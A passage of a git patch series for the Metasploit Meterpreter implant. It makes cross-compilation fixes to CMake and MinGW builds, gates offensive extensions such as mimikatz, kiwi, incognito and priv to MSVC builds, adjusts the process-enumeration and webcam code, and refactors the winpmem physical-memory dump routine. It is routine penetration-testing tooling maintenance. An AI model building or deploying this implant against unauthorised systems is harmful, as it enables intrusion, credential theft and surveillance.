+unsigned long             __RPC_USER  BSTR_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); 
+void                      __RPC_USER  BSTR_UserFree64(     __RPC__in unsigned long *, __RPC__in BSTR * ); 
+
+unsigned long             __RPC_USER  LPSAFEARRAY_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out LPSAFEARRAY * ); 
+void                      __RPC_USER  LPSAFEARRAY_UserFree64(     __RPC__in unsigned long *, __RPC__in LPSAFEARRAY * ); 
+
+/* [local] */ HRESULT STDMETHODCALLTYPE IRichChunk_GetData_Proxy( 
+    IRichChunk * This,
+    /* [annotation][unique][out] */ 
+    _Out_opt_  ULONG *pFirstPos,
+    /* [annotation][unique][out] */ 
+    _Out_opt_  ULONG *pLength,
+    /* [annotation][unique][out] */ 
+    _Outptr_opt_result_maybenull_  LPWSTR *ppsz,
+    /* [annotation][unique][out] */ 
+    _Out_opt_  PROPVARIANT *pValue);
+
+
+/* [call_as] */ HRESULT STDMETHODCALLTYPE IRichChunk_GetData_Stub( 
+    __RPC__in IRichChunk * This,
+    /* [out] */ __RPC__out ULONG *pFirstPos,
+    /* [out] */ __RPC__out ULONG *pLength,
+    /* [out] */ __RPC__deref_out_opt LPWSTR *ppsz,
+    /* [out] */ __RPC__out PROPVARIANT *pValue);
+
+/* [local] */ HRESULT STDMETHODCALLTYPE ICondition_GetComparisonInfo_Proxy( 
+    ICondition * This,
+    /* [annotation][unique][out] */ 
+    _Outptr_opt_result_maybenull_  LPWSTR *ppszPropertyName,
+    /* [annotation][unique][out] */ 
+    _Out_opt_  CONDITION_OPERATION *pcop,
+    /* [annotation][unique][out] */ 
+    _Out_opt_  PROPVARIANT *ppropvar);
+
+
+/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_GetComparisonInfo_Stub( 
+    __RPC__in ICondition * This,
+    /* [out] */ __RPC__deref_out_opt LPWSTR *ppszPropertyName,
+    /* [out] */ __RPC__out CONDITION_OPERATION *pcop,
+    /* [out] */ __RPC__out PROPVARIANT *ppropvar);
+
+/* [local] */ HRESULT STDMETHODCALLTYPE ICondition_GetInputTerms_Proxy( 
+    ICondition * This,
+    /* [annotation][unique][out] */ 
+    _Out_opt_  IRichChunk **ppPropertyTerm,
+    /* [annotation][unique][out] */ 
+    _Out_opt_  IRichChunk **ppOperationTerm,
+    /* [annotation][unique][out] */ 
+    _Out_opt_  IRichChunk **ppValueTerm);
+
+
+/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_GetInputTerms_Stub( 
+    __RPC__in ICondition * This,
+    /* [out] */ __RPC__deref_out_opt IRichChunk **ppPropertyTerm,
+    /* [out] */ __RPC__deref_out_opt IRichChunk **ppOperationTerm,
+    /* [out] */ __RPC__deref_out_opt IRichChunk **ppValueTerm);
+
+/* [local] */ HRESULT STDMETHODCALLTYPE ICondition2_GetLeafConditionInfo_Proxy( 
+    ICondition2 * This,
+    /* [annotation][out] */ 
+    _Out_opt_  PROPERTYKEY *ppropkey,
+    /* [annotation][out] */ 
+    _Out_opt_  CONDITION_OPERATION *pcop,
+    /* [annotation][out] */ 
+    _Out_opt_  PROPVARIANT *ppropvar);
+
+
+/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition2_GetLeafConditionInfo_Stub( 
+    __RPC__in ICondition2 * This,
+    /* [out] */ __RPC__out PROPERTYKEY *ppropkey,
+    /* [out] */ __RPC__out CONDITION_OPERATION *pcop,
+    /* [out] */ __RPC__out PROPVARIANT *ppropvar);
+
+
+
+/* end of Additional Prototypes */
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
+
+
diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt
index 0b047e5d..c70c02a6 100644
--- a/c/meterpreter/workspace/CMakeLists.txt
+++ b/c/meterpreter/workspace/CMakeLists.txt
@@ -16,6 +16,9 @@ option(USE_STATIC_MSVC_RUNTIMES "Use /MT instead of /MD in MSVC" ON)
 if(USE_STATIC_MSVC_RUNTIMES)
     if(MSVC)
         set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
+    else()
+        set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -static-libgcc -mwindows -fms-extensions")
+        set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -static-libgcc -static-libstdc++ -Wl,--enable-stdcall-fixup -mwindows -fms-extensions -std=c++11 -v")
     endif()
 endif()
 
@@ -96,29 +99,39 @@ set(MET_LIBS jpeg)
 
 set(
     MET_EXTENSIONS
-    ext_server_espia
-    ext_server_priv
-    ext_server_extapi
-    ext_server_incognito
-    ext_server_lanattacks
-    ext_server_peinjector
-    ext_server_winpmem
-    ext_server_unhook
-    ext_server_powershell
-    ext_server_kiwi
-    ext_server_python
     ext_server_stdapi
 )
 
+if(MSVC)
+    set(
+        MET_EXTENSIONS
+        ${MET_EXTENSIONS}
+        ext_server_espia
+        ext_server_priv
+        ext_server_extapi
+        ext_server_incognito
+        ext_server_lanattacks
+        ext_server_peinjector
+        ext_server_winpmem
+        ext_server_unhook
+        ext_server_mimikatz
+        ext_server_powershell
+        ext_server_kiwi
+        ext_server_python
+    )
+endif()
+
 if(BUILD_SNIFFER)
     set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_sniffer)
 endif()
 
-set(
-    MET_PLUGINS
-    screenshot
-    elevator
-)
+if(MSVC)
+    set(
+        MET_PLUGINS
+        screenshot
+        elevator
+    )
+endif()
 
 set(
     MET_SERVERS
@@ -132,20 +145,11 @@ set(
     ${MET_EXTENSIONS}
 )
 
-if(MSVC)
-    set(
-        MET_PROJECTS
-        ${MET_LIBS}
-        ${MET_DLLS}
-    )
-else()
-    # Still working slowly on non-MSVC builds
-    set(
-        MET_PROJECTS
-        ${MET_LIBS}
-        ${MET_SERVERS}
-    )
-endif()
+set(
+    MET_PROJECTS
+    ${MET_LIBS}
+    ${MET_DLLS}
+)
 
 foreach(MET_PROJECT ${MET_PROJECTS})
     add_subdirectory(${MET_PROJECT})
diff --git a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt
index dac5240c..6a652ad5 100644
--- a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt
@@ -1,6 +1,6 @@
 set(PROJECT_NAME ext_server_stdapi)
 
-project(${PROJECT_NAME} C)
+project(${PROJECT_NAME} C CXX)
 
 include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
 
@@ -11,12 +11,16 @@ add_definitions(
     -D_CRT_SECURE_NO_WARNINGS
 )
 
-set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
-set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
+if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+    set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
+else()
+    include_directories(../../source/mingw-include)
+endif()
 
 include_directories(../../source/common)
 include_directories(../../source/jpeg-8)
-include_directories(../../source/ReflectiveDllInjection/common)
+include_directories(../../source/ReflectiveDLLInjection/common)
 include_directories(../../source/extensions/stdapi/server)
 
 set(SRC_DIR ../../source/extensions/stdapi)
@@ -31,8 +35,10 @@ list(REMOVE_ITEM SRC_FILES ${CMAKE_CURRENT_SOURCE_DIR}/${SRC_DIR}/server/resourc
 
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
 set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
-set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
-set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+if(MSVC)
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
+    set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+endif()
 
 set(LINK_LIBS
     jpeg
@@ -45,11 +51,14 @@ set(LINK_LIBS
     ws2_32
 )
 
-target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
 if(MSVC)
     target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
+else()
+    set(LINK_LIBS ${LINK_LIBS} strmiids)
 endif()
 
+target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
+
 # Post processing (required for all Meterpreter DLLs)
 editbin(${PROJECT_NAME} ${BIN_SUBSYSTEM})
 copyoutput(${PROJECT_NAME} ${BIN_OUTPUT_DIR})
diff --git a/c/meterpreter/workspace/i686-w64-mingw32.cmake b/c/meterpreter/workspace/i686-w64-mingw32.cmake
index 9bfa2d87..7ebcb332 100644
--- a/c/meterpreter/workspace/i686-w64-mingw32.cmake
+++ b/c/meterpreter/workspace/i686-w64-mingw32.cmake
@@ -11,7 +11,7 @@ find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as)
 find_program(CMAKE_LINK_EXECUTABLE NAMES ${CMAKE_TOOLCHAIN_PREFIX}-ld)
 
 set(CMAKE_C_STANDARD 11)
-set(CMAKE_CXX_STANDARD 14)
+set(CMAKE_CXX_STANDARD 11)
 
 set(CMAKE_FIND_ROOT_PATH /usr/${CMAKE_TOOLCHAIN_PREFIX} /usr/local/${CMAKE_TOOLCHAIN_PREFIX})
 
diff --git a/c/meterpreter/workspace/metsrv/CMakeLists.txt b/c/meterpreter/workspace/metsrv/CMakeLists.txt
index c9db4e22..0cf47cde 100644
--- a/c/meterpreter/workspace/metsrv/CMakeLists.txt
+++ b/c/meterpreter/workspace/metsrv/CMakeLists.txt
@@ -35,7 +35,7 @@ set(LINK_LIBS winhttp wininet crypt32)
 if(MSVC)
     target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
 else()
-  set(LINK_LIBS ${LINK_LIBS} ws2_32)
+    set(LINK_LIBS ${LINK_LIBS} ws2_32)
 endif()
 
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
diff --git a/c/meterpreter/workspace/x86_64-w64-mingw32.cmake b/c/meterpreter/workspace/x86_64-w64-mingw32.cmake
index f8c21b24..3e42ea50 100644
--- a/c/meterpreter/workspace/x86_64-w64-mingw32.cmake
+++ b/c/meterpreter/workspace/x86_64-w64-mingw32.cmake
@@ -11,7 +11,7 @@ find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as)
 find_program(CMAKE_LINK_EXECUTABLE NAMES ${CMAKE_TOOLCHAIN_PREFIX}-ld)
 
 set(CMAKE_C_STANDARD 11)
-set(CMAKE_CXX_STANDARD 14)
+set(CMAKE_CXX_STANDARD 11)
 
 set(CMAKE_FIND_ROOT_PATH /usr/${CMAKE_TOOLCHAIN_PREFIX} /usr/local/${CMAKE_TOOLCHAIN_PREFIX})
 

From fdb785dcee37d5906183cb949818b6004b2a9406 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 22 May 2020 12:42:27 +1000
Subject: [PATCH 08/28] Few more build fix ups and removal of warnings

---
 c/meterpreter/make-cmake.bat                              | 1 +
 .../source/extensions/stdapi/server/sys/process/image.c   | 3 ---
 .../source/extensions/stdapi/server/sys/process/process.c | 8 ++++----
 .../source/extensions/stdapi/server/webcam/webcam.cpp     | 2 +-
 c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt  | 3 +--
 .../workspace/ext_server_stdapi/ext_server_stdapi.vcxproj | 8 ++++----
 6 files changed, 11 insertions(+), 14 deletions(-)

diff --git a/c/meterpreter/make-cmake.bat b/c/meterpreter/make-cmake.bat
index 75c979a2..e68655bf 100644
--- a/c/meterpreter/make-cmake.bat
+++ b/c/meterpreter/make-cmake.bat
@@ -110,6 +110,7 @@ GOTO END
 :CLEAN
 IF EXIST "output\" (
   del output\ /S /Q
+  del workspace\build\ /S /Q
 )
 GOTO END
 
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c
index 9c000a37..c7e1d091 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c
@@ -222,21 +222,18 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
 			break;
 		}
 
-		// Try to resolve the address of EnumProcessModules
 		if (!(enumProcessModules = (PEnumProcessModules)GetProcAddress(psapi, "EnumProcessModules")))
 		{
 			result = GetLastError();
 			break;
 		}
 
-		// Try to resolve the address of GetModuleBaseNameA
 		if (!(getModuleBaseName = (PGetModuleBaseName)GetProcAddress(psapi, "GetModuleBaseNameA")))
 		{
 			result = GetLastError();
 			break;
 		}
 
-		// Try to resolve the address of GetModuleFileNameExA
 		if (!(getModuleFileNameEx = (PGetModuleFileNameEx)GetProcAddress(psapi, "GetModuleFileNameExA")))
 		{
 			result = GetLastError();
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c
index 841c14df..08b7e36d 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c
@@ -6,8 +6,8 @@
 #include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
 
 typedef BOOL (WINAPI *PEnumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
-typedef DWORD (WINAPI *PGetModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base, DWORD baseSize);
-typedef DWORD (WINAPI *PGetModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, DWORD pathSize);
+typedef DWORD (WINAPI *PGetModuleBaseName)(HANDLE p, HMODULE mod, LPWSTR base, DWORD baseSize);
+typedef DWORD (WINAPI *PGetModuleFileNameEx)(HANDLE p, HMODULE mod, LPWSTR path, DWORD pathSize);
 
 typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID  *lpEnvironment, HANDLE  hToken, BOOL bInherit );
 typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
@@ -775,14 +775,14 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
 		}
 
 		// Try to resolve the address of GetModuleBaseNameA
-		if (!(getModuleBaseName = (PGetModuleBaseName)GetProcAddress(psapi, "GetModuleBaseNameA")))
+		if (!(getModuleBaseName = (PGetModuleBaseName)GetProcAddress(psapi, "GetModuleBaseNameW")))
 		{
 			result = GetLastError();
 			break;
 		}
 
 		// Try to resolve the address of GetModuleFileNameExA
-		if (!(getModuleFileNameEx = (PGetModuleFileNameEx)GetProcAddress(psapi, "GetModuleFileNameExA")))
+		if (!(getModuleFileNameEx = (PGetModuleFileNameEx)GetProcAddress(psapi, "GetModuleFileNameExW")))
 		{
 			result = GetLastError();
 			break;
diff --git a/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp b/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp
index 417668c1..c7ca4309 100644
--- a/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp
+++ b/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp
@@ -14,7 +14,7 @@
 #define WIN32_LEAN_AND_MEAN
 #include <windows.h>
 #include <dshow.h>
-#pragma comment(lib, "strmiids")
+
 extern "C" {
 #include "common.h"
 #include "webcam.h"
diff --git a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt
index 6a652ad5..f783b441 100644
--- a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt
@@ -49,12 +49,11 @@ set(LINK_LIBS
     iphlpapi
     shlwapi
     ws2_32
+    strmiids
 )
 
 if(MSVC)
     target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
-else()
-    set(LINK_LIBS ${LINK_LIBS} strmiids)
 endif()
 
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
diff --git a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
index ab138a38..458bcfd4 100644
--- a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
+++ b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
@@ -120,7 +120,7 @@
       <Culture>0x0409</Culture>
     </ResourceCompile>
     <Link>
-      <AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
       <SuppressStartupBanner>true</SuppressStartupBanner>
       <AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
       <DelayLoadDLLs>
@@ -187,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
       <Culture>0x0409</Culture>
     </ResourceCompile>
     <Link>
-      <AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
       <SuppressStartupBanner>true</SuppressStartupBanner>
       <AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
       <DelayLoadDLLs>
@@ -253,7 +253,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
       <Culture>0x0409</Culture>
     </ResourceCompile>
     <Link>
-      <AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
       <SuppressStartupBanner>true</SuppressStartupBanner>
       <AdditionalLibraryDirectories>..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
       <DelayLoadDLLs>
@@ -319,7 +319,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
       <Culture>0x0409</Culture>
     </ResourceCompile>
     <Link>
-      <AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
       <SuppressStartupBanner>true</SuppressStartupBanner>
       <AdditionalLibraryDirectories>..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
       <DelayLoadDLLs>

From cb0c1d476c07d555b9d5456af1e38bf1999c677a Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 22 May 2020 13:50:10 +1000
Subject: [PATCH 09/28] Fix some winpmem stuff for cross building

---
 .../source/extensions/winpmem/winpmem.cpp     | 830 ++++++++++--------
 1 file changed, 446 insertions(+), 384 deletions(-)

diff --git a/c/meterpreter/source/extensions/winpmem/winpmem.cpp b/c/meterpreter/source/extensions/winpmem/winpmem.cpp
index 9e2003e9..e10acb0d 100755
--- a/c/meterpreter/source/extensions/winpmem/winpmem.cpp
+++ b/c/meterpreter/source/extensions/winpmem/winpmem.cpp
@@ -28,37 +28,40 @@
 int WinPmem::pad(uint64_t length)
 {
 	uint64_t start = 0;
+	int result = 1;
 
 	ZeroMemory(buffer_, buffer_size_);
 
-	while (start < length) {
-		DWORD to_write = (DWORD)min(buffer_size_, length - start);
-		DWORD bytes_written;
+	do
+	{
+		while (start < length) {
+			DWORD to_write = (DWORD)min(buffer_size_, length - start);
+			DWORD bytes_written;
 
-		if (!WriteFile(out_fd_, buffer_,
-			to_write, &bytes_written, NULL) ||
-			bytes_written != to_write) {
-			dprintf("[WINPMEM] Failed to write padding");
-			goto error;
+			if (!WriteFile(out_fd_, buffer_,
+				to_write, &bytes_written, NULL) ||
+				bytes_written != to_write) {
+				dprintf("[WINPMEM] Failed to write padding");
+				result = 0;
+				break;
+			};
+
+			out_offset += bytes_written;
+
+			start += bytes_written;
 		};
+	} while (0);
 
-		out_offset += bytes_written;
-
-		start += bytes_written;
-	};
-
-	return 1;
-
-error:
-	return 0;
+	return result;
 };
 
 int WinPmem::copy_memory(uint64_t start, uint64_t end)
 {
+	int result = 0;
 	LARGE_INTEGER large_start;
 
 	if (start > max_physical_memory_) {
-		return 0;
+		return result;
 	};
 
 	// Clamp the region to the top of physical memory.
@@ -66,41 +69,42 @@ int WinPmem::copy_memory(uint64_t start, uint64_t end)
 		end = max_physical_memory_;
 	};
 
-	while (start < end) {
-		DWORD to_write = (DWORD)min(buffer_size_, end - start);
-		DWORD bytes_read = 0;
-		DWORD bytes_written = 0;
+	do
+	{
+		while (start < end) {
+			DWORD to_write = (DWORD)min(buffer_size_, end - start);
+			DWORD bytes_read = 0;
+			DWORD bytes_written = 0;
 
-		large_start.QuadPart = start;
+			large_start.QuadPart = start;
 
-		if (0xFFFFFFFF == SetFilePointerEx(
-			fd_, large_start, NULL, FILE_BEGIN)) {
-			dprintf("[WINPMEM] Failed to seek in the pmem device.");
-			goto error;
+			if (0xFFFFFFFF == SetFilePointerEx(
+				fd_, large_start, NULL, FILE_BEGIN)) {
+				dprintf("[WINPMEM] Failed to seek in the pmem device.");
+				break;
+			};
+
+			if (!ReadFile(fd_, buffer_, to_write, &bytes_read, NULL) ||
+				bytes_read != to_write) {
+				dprintf("[WINPMEM] Failed to Read memory.");
+				break;
+			};
+
+			if (!WriteFile(out_fd_, buffer_, bytes_read,
+				&bytes_written, NULL) ||
+				bytes_written != bytes_read) {
+				dprintf("[WINPMEM] Failed to write image file");
+				break;
+			};
+
+			out_offset += bytes_written;
+
+			start += to_write;
 		};
+		result = 1;
+	} while (0);
 
-		if (!ReadFile(fd_, buffer_, to_write, &bytes_read, NULL) ||
-			bytes_read != to_write) {
-			dprintf("[WINPMEM] Failed to Read memory.");
-			goto error;
-		};
-
-		if (!WriteFile(out_fd_, buffer_, bytes_read,
-			&bytes_written, NULL) ||
-			bytes_written != bytes_read) {
-			dprintf("[WINPMEM] Failed to write image file");
-			goto error;
-		};
-
-		out_offset += bytes_written;
-
-		start += to_write;
-	};
-
-	return 1;
-
-error:
-	return 0;
+	return result;
 };
 
 
@@ -152,62 +156,63 @@ void WinPmem::print_memory_info()
 	struct PmemMemoryInfo info;
 	DWORD size;
 
-	// Get the memory ranges.
-	if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
-		sizeof(info), &size, NULL)) {
-		dprintf("[WINPMEM] Failed to get memory geometry,");
-		goto error;
-	};
-
-
-	dprintf("[WINPMEM] CR3: 0x%010llX\n %d memory ranges:",
-			info.CR3.QuadPart, info.NumberOfRuns);
-
-	max_physical_memory_ = 0;
-
-	for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++) {
-		dprintf("[WINPMEM] Start 0x%08llX - Length 0x%08llX",
-				info.Run[i].start, info.Run[i].length);
-		max_physical_memory_ = info.Run[i].start + info.Run[i].length;
-	};
-
-	// When using the pci introspection we dont know the maximum physical memory,
-	// we therefore make a guess based on the total ram in the system.
-	dprintf("[WINPMEM] Acquisition mode ");
-	print_mode_(mode_);
-
-	if (mode_ == PMEM_MODE_PTE_PCI) {
-		ULONGLONG installed_memory = 0;
-		MEMORYSTATUSEX statusx;
-
-		statusx.dwLength = sizeof(statusx);
-
-		if (GlobalMemoryStatusEx(&statusx)) {
-			max_physical_memory_ = (size_t)(statusx.ullTotalPhys * 3 / 2);
-			dprintf("[WINPMEM] Max physical memory guessed at 0x%08llX",
-				max_physical_memory_);
-
-		}
-		else {
-			dprintf("[WINPMEM] Unable to guess max physical memory. Just Ctrl-C when done.");
+	do
+	{
+		// Get the memory ranges.
+		if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char*)&info, sizeof(info), &size, NULL))
+		{
+			dprintf("[WINPMEM] Failed to get memory geometry,");
+			break;
 		};
-	};
 
-error:
-	return;
+		dprintf("[WINPMEM] CR3: 0x%010llX\n %d memory ranges:", info.CR3.QuadPart, info.NumberOfRuns);
+
+		max_physical_memory_ = 0;
+
+		for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++)
+		{
+			dprintf("[WINPMEM] Start 0x%08llX - Length 0x%08llX", info.Run[i].start, info.Run[i].length);
+			max_physical_memory_ = info.Run[i].start + info.Run[i].length;
+		};
+
+		// When using the pci introspection we dont know the maximum physical memory,
+		// we therefore make a guess based on the total ram in the system.
+		dprintf("[WINPMEM] Acquisition mode ");
+		print_mode_(mode_);
+
+		if (mode_ == PMEM_MODE_PTE_PCI)
+		{
+			ULONGLONG installed_memory = 0;
+			MEMORYSTATUSEX statusx;
+
+			statusx.dwLength = sizeof(statusx);
+
+			if (GlobalMemoryStatusEx(&statusx))
+			{
+				max_physical_memory_ = (size_t)(statusx.ullTotalPhys * 3 / 2);
+				dprintf("[WINPMEM] Max physical memory guessed at 0x%08llX", max_physical_memory_);
+
+			}
+			else
+			{
+				dprintf("[WINPMEM] Unable to guess max physical memory. Just Ctrl-C when done.");
+			};
+		};
+	} while (0);
 };
 
 int WinPmem::set_acquisition_mode(unsigned __int32 mode)
 {
 	DWORD size;
 
-	if (mode == PMEM_MODE_AUTO) {
+	if (mode == PMEM_MODE_AUTO)
+	{
 		mode = default_mode_;
 	}
 
 	// Set the acquisition mode.
-	if (!DeviceIoControl(fd_, PMEM_CTRL_IOCTRL, &mode, 4, NULL, 0,
-		&size, NULL)) {
+	if (!DeviceIoControl(fd_, PMEM_CTRL_IOCTRL, &mode, 4, NULL, 0, &size, NULL))
+	{
 		dprintf("[WINPMEM] Failed to set acquisition mode %lu ", mode);
 		print_mode_(mode);
 		return -1;
@@ -221,29 +226,31 @@ int WinPmem::create_output_file(TCHAR *output_filename)
 {
 	int status = 1;
 
-	// The special file name of - means we should use stdout.
-	if (!_tcscmp(output_filename, TEXT("-"))) {
-		out_fd_ = GetStdHandle(STD_OUTPUT_HANDLE);
-		status = 1;
-		goto exit;
-	}
+	do
+	{
+		// The special file name of - means we should use stdout.
+		if (!_tcscmp(output_filename, TEXT("-")))
+		{
+			out_fd_ = GetStdHandle(STD_OUTPUT_HANDLE);
+			break;
+		}
 
-	// Create the output file.
-	out_fd_ = CreateFile(output_filename,
-		GENERIC_WRITE,
-		FILE_SHARE_READ,
-		NULL,
-		CREATE_ALWAYS,
-		FILE_ATTRIBUTE_NORMAL,
-		NULL);
+		// Create the output file.
+		out_fd_ = CreateFile(output_filename,
+			GENERIC_WRITE,
+			FILE_SHARE_READ,
+			NULL,
+			CREATE_ALWAYS,
+			FILE_ATTRIBUTE_NORMAL,
+			NULL);
 
-	if (out_fd_ == INVALID_HANDLE_VALUE) {
-		dprintf("[WINPMEM] Unable to create output file.");
-		status = -1;
-		goto exit;
-	};
+		if (out_fd_ == INVALID_HANDLE_VALUE) {
+			dprintf("[WINPMEM] Unable to create output file.");
+			status = -1;
+			break;
+		};
+	} while (0);
 
-exit:
 	return status;
 }
 
@@ -254,47 +261,56 @@ int WinPmem::write_coredump()
 	DWORD size;
 	int status = -1;
 
-	if (out_fd_ == INVALID_HANDLE_VALUE) {
-		dprintf("[WINPMEM] Must open an output file first.");
